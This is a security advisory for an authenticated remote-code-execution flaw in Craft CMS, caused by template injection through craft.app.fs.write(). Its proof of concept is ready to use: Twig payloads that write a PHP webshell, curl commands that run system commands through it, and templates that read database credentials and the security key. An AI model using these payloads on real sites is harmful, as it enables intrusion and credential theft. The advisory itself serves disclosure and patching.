CVE-2026-28697: Craftcms/cms Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v47q-jxvr-p68x",
  "modified" : "2026-03-04T18:39:01Z",
  "published" : "2026-03-03T21:00:16Z",
  "aliases" : [ "CVE-2026-28697" ],
  "summary" : "Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates",
  "details" : "## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?>') }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?>') }}\n\t\t```\n\t<img width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" />\n3. Save & go to **Settings → Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t<img width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" />\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.9.0-beta.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0-RC1"
      }, {
        "fixed" : "4.17.0-beta.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28697"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/pull/18216"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/pull/18219"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T21:00:16Z",
    "nvd_published_at" : "2026-03-04T17:16:21Z"
  }
}